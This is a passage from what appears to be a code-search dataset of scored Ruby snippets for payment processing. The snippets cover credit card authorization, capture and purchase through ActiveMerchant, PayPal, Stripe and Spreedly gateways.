outstanding_balance - tax_payment - jomgolf_cut\n cash_change_amount = amount - outstanding_balance\n\n #tax payment\n tranx = self.ur_transactions.new({trans_amount:-(tax_payment), detail_type:UrTransaction.detail_types[:tax_payment]})\n tranx.save!\n\n #service provider share\n tranx = self.ur_transactions.new({trans_amount:-(jomgolf_cut), detail_type:UrTransaction.detail_types[:provider_share]})\n tranx.save!\n\n #actual revenue payment\n tranx = self.ur_transactions.new({trans_amount:-(revenue_payment), detail_type:detail_type})\n tranx.save!\n\n #excess balance\n tranx = self.ur_transactions.new({trans_amount:-(cash_change_amount), detail_type:UrTransaction.detail_types[:excess_payment]})\n tranx.save!\n\n #record the change that needs to be given\n tranx = self.ur_transactions.new({detail_type:UrTransaction.detail_types[:cash_change], trans_amount:-(self.check_outstanding)})\n tranx.save!\n end\n end", "title": "" }, { "docid": "2322e9aad4a6487ad4e31ddeb98342a3", "score": "0.60240877", "text": "def authorize(money, payment_object, options = {})\n\tpost = {}\n\tif payment_object != nil && payment_object.class() != String\n\t payment_object.class() == ActiveMerchant::Billing::Check ?\n add_check(post, payment_object) :\n add_creditcard(post, payment_object)\n\telse\n\t post[:RRNO] = payment_object\n\tend\n\tadd_invoice(post, options)\n add_address(post, options)\n add_customer_data(post, options)\n\tif options[:rebill] != nil\n post[:REBILLING] = '1'\n post[:REB_AMOUNT] = options[:rebill][:rebill_amount]\n post[:REB_FIRST_DATE] = options[:rebill][:rebill_start_date]\n post[:REB_EXPR] = options[:rebill][:rebill_expression]\n post[:REB_CYCLES] = options[:rebill][:rebill_cycles]\n end\n\tpost[:TRANSACTION_TYPE] = 'AUTH'\n\tpost[:MODE] = $options[:transaction_mode]\n post[:TAMPER_PROOF_SEAL] = calc_tps(amount(money), post)\n commit(money, post)\n end", "title": "" }, { "docid": "ed21afda8becc14887432d542ee7ab30", "score": "0.6012721", "text": "def payment\n\n\n end", "title": "" }, { "docid": "e37e0ae825ce53b534adef3e4c707cf9", "score": "0.6010649", "text": "def confirmed_pay\n @persona = Persona.where( :screen_name => params[:persona_id]).first\n\n if params[:error] then\n flash[:error] = params[:error]\n else\n @order = @persona.orders.find(params[:order_id])\n \n @payment_ok = false\n\n #check if the payment goes through or not...\n\t\t\ttoken=params[:token]\n\n\t\t\t#valid the payment here, if ok, go next step where the order has been done\n\t\t\t#otherwise, if got some other error, check and go back to cofirm_pay action\n\t\t\t#payment_method = SpreedlyCore::PaymentMethod.find(token)\n env = Spreedly::Environment.new(ENV['SPREEDLYCORE_ENVIRONMENT_KEY'],ENV['SPREEDLYCORE_ACCESS_SECRET'])\n payment_method = env.find_payment_method(token)\n\n\t\t\tif payment_method.valid? then\n @amount_charge = Cart.where( \n :order_id => params[:order_id] \n ).map{ \n |x| Sku.where(:code => x.item_sku).first.base_price * x.quantity * 100\n }.sum\n purchase_transaction = env.authorize_on_gateway(ENV['SPREEDLYCORE_GATEWAY_TOKEN'], token, @amount_charge ) \n respond_to do |format|\n if purchase_transaction.succeeded? then \n @payment_ok = true\n\t\n\t\t\t\t\t\t#process the order\n #if sku is membership or online stuff, create the broucher and ask if wants to active it\n\t\t\t\t\t\tCart.where(:order_id => params[:order_id]).each do |cart_item|\n\t\t\t\t\t\t\t#so far this store only do online stuff for now\n\t\t\t\t\t\t\tsku = Sku.where(:code => cart_item.item_sku).first\n\t\t\t\t\t\t\tcoupon = Coupon.generate_coupon( @persona.id, sku.id)\n\t\t\t\t\t\t\t#need to account for multiple items\n\t\t\t\t\t\t\tcart_item.update_attribute( :item_id, coupon.id)\n\t\t\t\t\t\tend \n\t\t\t\t\t\t@order.update_attributes({ :status => 2, :spreedly_token_id => params[:token] })\n format.html \n else\n redirect_to store_confirm_pay_path(@persona.screen_name, \n :order_id => params[:order_id]), :error => 'Unable to charge you CC' \n end\n end #respond_to ...\n\t\t\telse\n\t\t\t\t#redirect to confirm_pay with errors\n\t\t\t\tredirect_to store_confirm_pay_path(@persona.screen_name, \n :order_id => params[:order_id]), :error => payment_method.errors.join('\\n')\n\t\t\tend\n end\n end", "title": "" }, { "docid": "28ff5f253c25285f0ce646bc14238797", "score": "0.6008917", "text": "def add_customer_profile(creditcard, options = {})\n options[:merchant_ref] ||= SecureRandom.hex\n options[:order_datetime] ||= DateTime.now\n order = build_customer_request_xml(SECURECARDREGISTRATION, options[:merchant_ref], creditcard, options) do |xml|\n #TERMINALID+MERCHANTREF+DATETIME+CARDNUMBER+CARDEXPIRY+CARDTYPE+CARDHOLDERNAME+ SECRET\n hash_string =\n \"#{self.options[:terminal_id]}\" +\n \"#{options[:merchant_ref]}\" +\n \"#{format_date_field(options[:order_datetime])}\" +\n \"#{creditcard.number}\" +\n \"#{expiry_date(creditcard)}\" +\n \"#{card_type(creditcard.brand)}\" +\n \"#{creditcard.name}\" +\n \"#{self.options[:shared_secret]}\"\n hash = Digest::MD5.hexdigest(hash_string)\n add_profile_creditcard(xml, creditcard, hash)\n end\n commit(order, :authorize)\n end", "title": "" }, { "docid": "baa85012e46b358374d30ec716d1da17", "score": "0.600034", "text": "def create_profile_and_process_payment\n response = gateway.create_payment_profile(100,\n activemerchant_credit_card,\n user_reference: paybox_user_reference)\n update_payment_and_credit_card_with_response(response)\n\n if response.success?\n process_payment\n else\n false\n end\n end", "title": "" }, { "docid": "e76721758c298aa867bd8d68e46d53e6", "score": "0.5995126", "text": "def authorize_payment\n params.permit(:ticket_id,:num_tickets,:offer_id)\n @credit_card = PayPal::SDK::REST::CreditCard.find(current_user.creditcards.first.paypal_card_id)\n if params.has_key?(:ticket_id)\n @ticket = Ticket.find(params[:ticket_id])\n @ticket_name = \"Ticket to #{@ticket.event.name}\"\n @num_tickets = params[:num_tickets]\n @price_per_ticket = @ticket.price\n @total_price = @price_per_ticket * @num_tickets\n elsif params.has_key?(:offer_id)\n offer = Offer.find(params[:offer_id])\n @ticket = offer.ticket\n @ticket_name = \"Ticket to #{@ticket.event.name}\"\n @num_tickets = offer.num_tickets\n @price_per_ticket = offer.price / offer.num_tickets\n @total_price = offer.price\n else\n render :json => {success: false, error: \"offer_id or ticket_id is missing\"}, status: :unprocessable_entity\n end\n \n # build payment\n @payment = PayPal::SDK::REST::Payment.new({\n :intent => \"authorize\",\n :payer => {\n :payment_method => \"credit_card\",\n :funding_instruments => []},\n :orders => [{\n :item_list => {\n :items => [{\n :name => @ticket_name,\n :sku => \"item\",\n :price => @price_per_ticket,\n :currency => \"GBP\",\n :quantity => @num_tickets }]},\n :amount => {\n :total => \"#{@total_price}\",\n :currency => \"GBP\" },\n :description => @ticket_name }]})\n \n fi = PayPal::SDK::REST::FundingInstrument.new\n fi.credit_card = @credit_card\n @payment.payer.funding_instruments.push(fi)\n \n # Create Payment and return the status(true or false)\n if @payment.create\n @payment.id # Payment Id\n render :json => {success: true, payment: @payment}\n else\n render :json => {success: false, error: @payment.error}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5844c100a160002a6cd6d160e86fd1d4", "score": "0.5992765", "text": "def purchase(money, payment, options = {})\n if payment.is_a?(String)\n create_bill(money, payment, options)\n else\n @customer_id = nil\n MultiResponse.run do |r|\n r.process { store(payment, options) }\n r.process do\n @customer_id = r.authorization\n create_payment_profile(@customer_id, payment, options)\n end\n r.process { create_bill(money, @customer_id, options) }\n end\n end\n end", "title": "" }, { "docid": "ac01cd86bd01283a6fa2f80b8f39d0ff", "score": "0.59920466", "text": "def to_use_credit_card_params\n params.require(:to_use_credit_card).permit(:number, :expiration_month, :expiration_year,\n :security_code, :holder, :amount, :load_file, :blocked, :bank_id, :credit_card_id, :quotes, :agency_id,\n :reason_id, :date_limit, :allows_partial_use, :clarification, :email,:authorization_code, :consumer)\n end", "title": "" }, { "docid": "3e735a372eaf0e418cbfe0bcdfb0a343", "score": "0.59861207", "text": "def authorize(money, creditcard, options = {})\n reset\n end", "title": "" }, { "docid": "ee2519ad29b242ce921e257e13ae61e9", "score": "0.5984439", "text": "def payment_params\n params.require(:payment).permit(:card_number, :card_holder_name, :exp_month, \n :exp_year, :cvc, :price, :recurring_fee, \n :processing_fee, :extra_service_price)\n end", "title": "" }, { "docid": "8b5b72461138a6c692c950c71a60faf7", "score": "0.5984392", "text": "def process \n raise \"No Payment Method\" if self.stripe_token.blank? && self.paypal_token.blank?\n if self.stripe_token.present?\n\tself.provider = \"stripe\"\t\n\tcharge_stripe\n end \n if self.paypal_token.present?\n\t self.provider = \"paypal\"\n self.paypal_setup!(ENV['PAYPAL_ROOT_CALLBACK'] + \"#{self.id}/success\", ENV['PAYPAL_ROOT_CALLBACK'] + \"#{self.id}/cancel\")\n end\nend", "title": "" }, { "docid": "bcc0550e81ccf7d83a6194e9866303e2", "score": "0.59825104", "text": "def charge_card\n Core.log(\"Charging card for Order ##{id} for #{total_price.to_money.cents.to_i} cents\")\n begin\n result = PAYMENT_GATEWAY.capture(total_price.to_money.cents.to_i, preauth)\n\n if result.success?\n OrderStatus.create(:order_id => self.id, :status => 'Attempted to capture funds from credit card')\n OrderStatus.create(:order_id => id, :status => \"Order status set to Complete: #{result.message}\")\n self.update_attributes({ :paid => true, :completed_on => Time.now })\n PAYMENT_GATEWAY.delete(self.cc_vault_id) unless self.save_credit_card\n self.set_status('Complete')\n \n else\n # Expired preauth or invalid billing information. Attempt to purchase directly.\n OrderStatus.create(:order_id => self.id, :status => 'Preauth capture attempt failed; attempting to capture directly from credit card')\n\n billing = addresses.detect { |a| a.address_type == 'billing' }\n purchase_options = {\n :ip => '127.0.0.1',\n :billing_address => {\n :name => \"#{first_name} #{last_name}\",\n :address1 => \"#{billing.street_1} #{billing.street_2}\",\n :city => billing.city,\n :state => billing.region,\n :country => billing.country,\n :zip => billing.postal_code\n }\n }\n result = PAYMENT_GATEWAY.purchase(total_price.to_money.cents.to_i, cc_vault_id, purchase_options)\n\n if result.success?\n OrderStatus.create(:order_id => id, :status => \"Order status set to Complete: #{result.message}\")\n self.update_attributes({ :paid => true, :completed_on => Time.now })\n PAYMENT_GATEWAY.delete(self.cc_vault_id) unless self.save_credit_card\n self.set_status('Complete')\n else\n self.set_status('Billing Error')\n OrderStatus.create(:order_id => self.id, :status => 'Attempted to capture funds from credit card')\n OrderStatus.create(:order_id => id, :status => \"Billing failed with message: #{result.message}\")\n end\n \n end\n rescue Exception => e\n self.set_status('Billing Error')\n OrderStatus.create(:order_id => self.id, :status => 'Attempted to capture funds directly from credit card')\n OrderStatus.create(:order_id => id, :status => \"Billing failed with message: #{e.message}\")\n end\n end", "title": "" }, { "docid": "d4b2bf8b5df894250711c8a30abda86e", "score": "0.5982289", "text": "def payment_success?(amount)\n\n if credit_card.valid?\n # debugger\n \t response = GATEWAY.purchase(price_in_cents(amount), credit_card, purchase_options)\n \t #transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n \t #user.update_attribute(:active, true) if response.success?\n\n \t if !response.success?\n errors.add :base, \"Invalid Card Detail\"\n false\n else\n true\n end \n \telse\n \t credit_card.errors.full_messages.each do |message|\n errors.add :base, message\n end\n \t false\t\n \tend \n \trescue Exception => e\n \t errors.add :base, \"Error in Payment #{e.message}\"\n false\n end", "title": "" }, { "docid": "a4be1f91e37497a0c03b7960f65f29a4", "score": "0.59739274", "text": "def store_credit_card\n card_params = params.permit(:type,:number,:expire_month,:expire_year,:cvv2,:first_name,:last_name)\n @credit_card = PayPal::SDK::REST::CreditCard.new(card_params)\n if @credit_card.create\n logger.info \"CreditCard[#{@credit_card.id}] created successfully\"\n if params[:first_name].present?\n params[:first_name] = URI.unescape(params[:first_name])\n else\n params[:first_name] = \"\"\n end\n if params[:last_name].present?\n params[:last_name] = URI.unescape(params[:last_name])\n else\n params[:last_name] = \"\"\n end\n name_on_card = \"#{params[:first_name]} #{params[:last_name]}\"\n card_number = params[:number]\n card = Creditcard.new({\n :user_id => current_user.id,\n :paypal_card_id => @credit_card.id,\n :name_on_card => name_on_card,\n :card_type => params[:type],\n :last_4_digits => card_number[card_number.length-4..card_number.length]\n })\n if card.save\n render :json => {success: true, credit_card_id: @credit_card.id}\n end\n else\n logger.error \"Error while creating CreditCard:\"\n logger.error @credit_card.error.inspect\n render :json => {success: false, error: @credit_card.error}, status: :unprocessable_entity\n end\n \n end", "title": "" }, { "docid": "fb40d95915ac7d296f690c2e6d0fc05d", "score": "0.59724045", "text": "def set_pay\n end", "title": "" }, { "docid": "64d4075352c20deb4bc4b0ec472c5096", "score": "0.5970536", "text": "def preauth_card\n Core.log(\"=== PREAUTHORIZING CREDIT CARD: #{id}\")\n \n if saved_credit_card.present?\n credit_card = saved_credit_card.dup\n else\n \n exp = (cc_exp.class == Date ? cc_exp : Date.parse(cc_exp))\n \n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :type => cc_type,\n :number => cc_number.gsub(/\\D/,''),\n :verification_value => cc_verify,\n :month => exp.month,\n :year => exp.year,\n :first_name => first_name,\n :last_name => last_name\n )\n\n self.cc_last_four_digits = cc_number[12,16]\n end\n \n billing = addresses.detect { |a| a.address_type == 'billing' }\n raise 'No billing address supplied' if billing.nil?\n \n # TODO: Set Request IP address.\n purchase_options = {\n :ip => '127.0.0.1',\n :billing_address => {\n :name => \"#{first_name} #{last_name}\",\n :address1 => \"#{billing.street_1} #{billing.street_2}\",\n :city => billing.city,\n :state => billing.region,\n :country => billing.country,\n :zip => billing.postal_code\n }\n }\n\n purchase_options.merge!({:store => true}) unless self.saved_credit_card.present?\n @response = PAYMENT_GATEWAY.authorize(self.total_price.to_money.cents, credit_card, purchase_options)\n #logger.info \"RESPONSE: #{@response.inspect}\" \n if @response.success?\n self.cc_vault_id = @response.params['customer_vault_id'] unless @response.params['customer_vault_id'].blank?\n self.preauth = @response.authorization\n self.set_status('Card Approved')\n Core.log(\"=== CREDIT CARD PREAUTHORIZED - SETTING STATUS TO 'CARD APPROVED': #{id}\")\n OrderStatus.create(:order_id => self.id, :status => 'Card Approved')\n else\n logger.info \"=== CREDIT CARD DECLINED: #{id}\"\n raise 'Credit card declined. ' + @response.params[\"responsetext\"]\n end\n\n end", "title": "" }, { "docid": "ec66b5f00aa214cc898261f29a2a3a40", "score": "0.59644437", "text": "def pay!\n response = credit_card.purchase!(total_amount_in_cents)\n self.response = response\n self.description = response.message\n self.authorization = response.authorization\n# raise \"credit_card.inspect #{credit_card.inspect}, self.response #{self.response.inspect}\"\n if response.success?\n invoice.update_attribute(:status, \"closed\")\n self.status = \"cleared\"\n self.save!\n return true\n else\n self.status = \"failed\"\n for item in self.line_items\n item.amount = 0\n end\n self.save!\n return false\n end\n end", "title": "" }, { "docid": "7a8a93372169838d015be7ce4cdcc490", "score": "0.5964205", "text": "def purchase(money, creditcard, options = {})\n\n token = auth_token\n return auth_failed_response(token) if auth_failed?(token)\n \n headers = {:Authorization => \"Bearer #{token['access_token']}\"}\n\n billing_address = options[:billing_address]\n\n body = {\n :amount => (money.to_money/100.0).to_s,\n :credit_card => { \n :number => creditcard.number,\n :expiration_month => creditcard.month.to_i.to_s,\n :expiration_year => (creditcard.year.to_i + 2000).to_s\n },\n :integrator_id => @options[:integrator_id],\n :csc => creditcard.verification_value\n }\n\n if billing_address.present?\n body[:billing_address] = {\n :name => billing_address[:name],\n :street_address => billing_address[:address1],\n :street_address2 => billing_address[:address2],\n :city => billing_address[:city],\n :state => billing_address[:state],\n :zip => billing_address[:zip]\n }\n end\n\n response = RestClient.post(BASE_URL + '/v1/transactions/sale/keyed', body, headers) {|response, request, result| response }\n result = JSON.parse(response)\n\n ActiveMerchant::Billing::Response.new(result['success'],result['status_message'],result,\n :authorization => result['transaction_id'],\n :auth_code => result['approval_code'],\n :fraud_review => (result['csc_response'] != 'Match'),\n :avs_result => result['avs_response'],\n :cvv_result => result['csc_response'])\n end", "title": "" }, { "docid": "ae5828ab1d09cb3d0a350ff3904f62c5", "score": "0.5963056", "text": "def authorize_AIM_payment\n amount_to_charge = Money.ca_dollar(1000) #ten US dollars\n \n creditcard = ActiveMerchant::Billing::CreditCard.new(\n # :number => '4222222222222', #Authorize.net test card, error-producing\n :number => '4007000000027', #Authorize.net test card, non-error-producing\n :month => 11, #for test cards, use any date in the future\n :year => 2010, \n :first_name => 'Amit', \n :last_name => 'Yadav',\n :type => 'visa' #note that MasterCard is 'master'\n )\n\n# if creditcard.valid?\n gatewayObject = ActiveMerchant::Billing::Base.gateway(:authorized_net).new(\n :login => 'XXXXXXXXXX', #API Login ID\n :password => 'XXXXXXXXXXXXXXXX') #Transaction Key\n\n options = {\n :address => {},\n :billing_address => { \n :name => 'Amit Yadav',\n :address1 => 'TEst Add',\n :city => 'Test City',\n :state => 'CA',\n :country => 'IN',\n :zip => '201301',\n :phone => '(555)555-5555'\n }\n }\n\n response = gatewayObject.authorize(amount_to_charge, creditcard, options)\n\n if response.success?\n gateway.capture(amount_to_charge, response.authorization)\n @result = \"Success: \" + response.message.to_s\n else\n @result = \"Fail: \" + response.message.to_s\n end\n# else\n# @result = \"Credit card not valid: \" + creditcard.validate.to_s\n# end\n end", "title": "" }, { "docid": "02d180f277cf50dde21eb859c7b9419c", "score": "0.5961267", "text": "def pay!(payment_data = {})\n reset_errors!\n \n attributes = {\n amount: self.amount,\n date: Time.now.strftime('%Y-%m-%d')\n }.merge(payment_data)\n\n @last_response = Http.post(\"/invoices/#{uuid}/pay/\", domain.token, MultiJson.encode(attributes), etag: self.etag)\n \n raise_last_response_unless 201\n \n reload_attributes!(uuid)\n ensure\n if $ERROR_INFO\n @last_response = $ERROR_INFO.last_response if $ERROR_INFO.kind_of?(Http::LastResponseError)\n @errors = [$ERROR_INFO.message]\n end\n end", "title": "" }, { "docid": "d184625b1c9fb3c8e7a5934b45c617ad", "score": "0.59519035", "text": "def pay_standard(request)\n\t\tpayment_errors = validator.validate_pay_standard_request(request)\n\t\t# Verifies that no required payment card fields are missing.\n\t\tbegin\n\t\t\tpayment_card = build_payment_card(request.payment_card)\n\t\trescue ActiveMerchant::ActiveMerchantError => ex\n\t\t\tpayment_errors << PaymentError.new(source: \"payment_card\", error_code: \"missing_input\")\n\t\tend\n\t\t# Validates format of payment card fields.\n\t\tpayment_errors << PaymentError.new(source: \"payment_card\", error_code: \"invalid_input\") if !(payment_card.validate.empty?)\n\t\treturn { :payment_errors => payment_errors } if payment_errors.any?\n\n\t\toptions = build_standard_options(request)\n\t\toptions[:items] = build_items(request.items) if request.items.any?\n\n\t\tbegin\n\t\t\tcase request.intent\n\t\t\twhen :AUTHORIZATION\n\t\t\t\tresponse = providers[request.provider].authorize(request.payment_sum, payment_card, options)\n\t\t\twhen :PURCHASE\n\t\t\t\tresponse = providers[request.provider].purchase(request.payment_sum, payment_card, options)\n\t\t\tend\n\n\t\t\tif !(response.success?)\n\t \tpayment_errors << PaymentError.new(source: \"provider\", error_code: response.message)\n\t \treturn { :payment_errors => payment_errors }\n\t end\n\t rescue ActiveMerchant::ActiveMerchantError => ex\n\t \tlog_msg = \"--- While trying to pay with card data via provider \\\"#{provider.to_s}\\\" exception occurred. ---\"\n\t\t\tlog_msg << \"--- Exception message: #{ex.message} ---\"\n\t\t\tdeliver_log_msg(log_msg)\n\n\t \tpayment_errors << PaymentError.new(source: \"provider\", error_code: ex.message)\n\t \treturn { :payment_errors => payment_errors }\n\t end\n\n\t # Logging to console for dev use only.\n\t puts \"--- Logging pay_standard response ---\"\n\t puts response.to_yaml\n\t puts \"--- End of pay_standard response log ---\"\n\n\t # Log via Kafka.\n\t\tdeliver_log_msg(response.to_json)\n\n\t result = {\n\t \t:payment_errors => payment_errors,\n\t \t:payment_id => response.params[\"transaction_id\"],\n\t \t:executed_on => DateTime.now.strftime(\"%FT%T%z\")\n\t }\n\tend", "title": "" }, { "docid": "c1a9997f68c9ae473c5a59441a37adf7", "score": "0.59515035", "text": "def confirmpayment\n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n begin\n if params['payment_method_id']\n # Calling chargebee's create_subscription_estimate api\n estimate = create_subscription_estimate(params)\n \n # Create the PaymentIntent\n intent = Stripe::PaymentIntent.create(\n payment_method: params['payment_method_id'],\n amount: estimate.invoice_estimate.total,\n currency: estimate.invoice_estimate.currency_code,\n confirm: 'true',\n confirmation_method: 'manual',\n capture_method: 'manual',\n setup_future_usage: 'off_session'\n )\n \n elsif params['payment_intent_id']\n # Confirming the payment intent in stripe\n intent = Stripe::PaymentIntent.confirm(params['payment_intent_id'])\n end\n rescue Stripe::CardError => e\n # Display error on client\n return [200, { error: e.message }.to_json]\n end\n\n return generate_payment_response(intent)\n end", "title": "" }, { "docid": "4e0d2653a5514a2bec37320bd071c877", "score": "0.5947671", "text": "def authorize(money, payment_source, options = {})\n post = {}\n action = payment_source.brand == 'mastercard' ? 'PAU' : 'RES'\n add_invoice(post, options)\n add_payment_source(post, payment_source, options)\n add_address(post, payment_source, options)\n add_customer_data(post, options)\n add_money(post, money, options)\n commit(action, post)\n end", "title": "" }, { "docid": "2b0f044edb477115687734513b7eac9a", "score": "0.59367543", "text": "def create\n @account = Account.find(payment_params[:account_id])\n @account_detail = @client.get_account_detail(@account.account_fidor_id)\n @payment = Payment.new(payment_params)\n if @account_detail.can_transfer?(payment_params['amount'])\n @payment.account = @account\n status = Status.where(:name=>Constants::PAYMENT_CREATED_STATUS).first\n @payment.status = status\n @payment.uuid = SecureRandom.uuid\n respond_to do |format|\n if @payment.save\n format.html { redirect_to mtan_payment_path(@payment) }\n else\n format.html { render :new }\n end\n end \n else\n @payment.errors.add(:base, \" Amount unavailable \")\n respond_to do |format|\n format.html { render :new }\n end\n end\n\n end", "title": "" }, { "docid": "da47c793a7fc1e719ba9cb22929182de", "score": "0.59364176", "text": "def payment_methods\n @credit_cards +\n @paypal_accounts +\n @apple_pay_cards +\n @coinbase_accounts +\n @android_pay_cards +\n @amex_express_checkout_cards +\n @venmo_accounts +\n @us_bank_accounts +\n @visa_checkout_cards +\n @samsung_pay_cards\n end", "title": "" }, { "docid": "b101f406dfbbb43fdf01ab687a98c5c1", "score": "0.5931632", "text": "def px_pay_callback\n response = Pxpay::Response.new(params).response.to_hash\n\n payment = Spree::Payment.find(response[:merchant_reference])\n if payment\n\n if response[:success] == '1'\n payment.process!\n payment.response_code = response[:auth_code]\n payment.save\n payment.complete\n\n order = payment.order\n order.state = 'complete'\n order.completed_at = Time.now\n order.save\n\n order.deliver_order_confirmation_email\n\n flash.notice = Spree.t(:order_processed_successfully)\n redirect_to order_path(order, :token => order.token)\n else\n payment.void\n redirect_to cart_path, :notice => 'Your credit card details were declined. Please check your details and try again.'\n end\n\n else\n raise Spree::Core::GatewayError, \"Unknown merchant_reference: #{response[:merchant_reference]}\"\n end\n end", "title": "" }, { "docid": "52a386874803591306e5934a8bcb973f", "score": "0.5927486", "text": "def authorize(money, online_bank_transfer_source, payment_method_options = {})\n Spree::PAYONE::Logger.info \"Authorize process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.preauthorization_request\n \n set_initial_request_parameters(request)\n set_status_url_request_parameters(request, payment_method_options)\n set_online_bank_transfer_request_parameters(request, online_bank_transfer_source)\n set_amount_request_parameters(request, money, payment_method_options)\n set_order_request_parameters(request, payment_method_options)\n set_personal_data_request_parameters(request, payment_method_options)\n set_billing_request_parameters(request, payment_method_options)\n set_shipping_request_parameters(request, payment_method_options)\n \n response = process_request request, payment_method_options\n payment_provider_response response\n end", "title": "" }, { "docid": "b77c338e13271967922acaaa39c9938d", "score": "0.5922419", "text": "def process_payment(creditcard)\n ActiveMerchant::Billing::Base.mode = auth['mode'].to_sym\n self.status = PROCESSING\n response = gateway.purchase(amount * 100, creditcard)\n \n if response.success?\n self.transaction_number = response.subscription_id\n self.status = SUCCESS\n else\n self.status = FAILED\n end\n return self\n rescue Exception => e\n self.status = FAILED\n return self\n end", "title": "" }, { "docid": "51ce88cf11e118003421ad2e9d504e3e", "score": "0.59206086", "text": "def purchase(money, creditcard, gateway_options = {})\n Spree::PAYONE::Logger.info \"Purchase process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.authorization_request\n \n set_initial_request_parameters(request)\n set_status_url_request_parameters(request, gateway_options)\n set_credit_card_request_parameters(request, creditcard)\n set_amount_request_parameters(request, money, gateway_options)\n set_order_request_parameters(request, gateway_options)\n set_personal_data_request_parameters(request, gateway_options)\n set_billing_request_parameters(request, gateway_options)\n set_shipping_request_parameters(request, gateway_options)\n \n response = process_request request, gateway_options\n payment_provider_response response\n end", "title": "" }, { "docid": "5ef829955fbf7c4bc8f6fb3e30e0c389", "score": "0.5920171", "text": "def create_or_update_payment_profile\n return true if ENV['RAILS_ENV'] == 'development' || ENV['RAILS_ENV'] == 'test'\n \n cc_info = { :first_name => self.first_name,\n :last_name => self.last_name,\n :number => self.num,\n :month => self.exp_mo.to_i,\n :year => self.exp_yr.to_i,\n :verification_value => self.cvv\n }\n\n bill = { :first_name => self.first_name,\n :last_name => self.last_name,\n :zip => self.zip\n }\n\n if !self.payment_profile_id\n response = create_payment_profile :cc_info => cc_info, :bill => bill\n self.payment_profile_id = response.params['customer_payment_profile_id'] if response.success?\n else\n response = update_payment_profile :cc_info => cc_info, :bill => bill\n end\n\n logger.info(\"*** response from create or update payment_profile: #{response.inspect}\")\n\n if !response.success? and response.params['messages']['message']['code'] == 'E00039'\n # We have a duplicate payment profile, try to delete everything and start fresh,\n # .. but only if we have credit card info to recreate the profile\n unless have_info_to_update and delete_customer_profile and create_or_update_customer_profile and create_or_update_payment_profile\n raise StandardError, \"Could not create or update customer payment profile (duplicate payment profile): #{response.inspect}\\n\"\n end\n elsif !response.success?\n raise StandardError, \"Could not create or update customer payment profile: #{response.inspect}\\n\"\n end\n response.success?\n end", "title": "" } ]